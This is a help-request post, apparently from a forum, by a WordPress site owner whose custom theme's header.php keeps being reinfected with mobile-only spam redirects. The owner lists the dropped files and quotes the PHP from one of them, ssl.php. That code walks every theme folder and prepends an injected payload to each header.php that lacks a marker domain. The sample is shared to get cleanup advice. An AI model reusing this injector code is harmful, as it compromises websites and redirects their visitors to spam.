How to stop repeated hack on header.php of custom theme?
Noticed some unwanted files on the website root folder and removed them. I have found that header.php file has some malicious code which redirects to spam sites only on mobile browsers.
when these files exists .htaccess pretty permalinks does not work.
I have changed Cpanel, FTP passwords.Deleted these below listed unwanted files. Scanned all the files and folders.
After a clean installation of wordpress and plugins, these files are added repeatedly.
Server: shared hosting / linux server File Transers using Cpanel / FileZilla
How to stop these repeated attacks?
The list of malicious scripts.
ssl.php has these following code
if (file_exists("wp-content"))
{
if (file_exists("wp-content/themes"))
{
$dirs = scandir("wp-content/themes");
foreach ($dirs as $dir)
{
if ((is_dir("wp-content/themes/$dir")) AND ($dir !== ".") AND ($dir !== ".."))
{
if (file_exists("wp-content/themes/$dir/header.php"))
{
$file = fopen("wp-content/themes/".$dir."/header.php", "r");
$buffer = fread($file, filesize("wp-content/themes/".$dir."/header.php"));
fclose($file);
if (eregi('ba9hus.in', $buffer)==0)
{
$in = fopen("wp-content/themes/".$dir."/header.php", "w");
fwrite($in, $code);
fwrite($in, $buffer);
fclose($in);
/*
$in = fopen("wp-content/themes/$dir/header.php", "a");
fwrite($in, $code);
fclose($in);
*/
}
}
}
}
}
}
ssl.php
wp-ssl.php
wp-ssl.zip
news_parser.class.php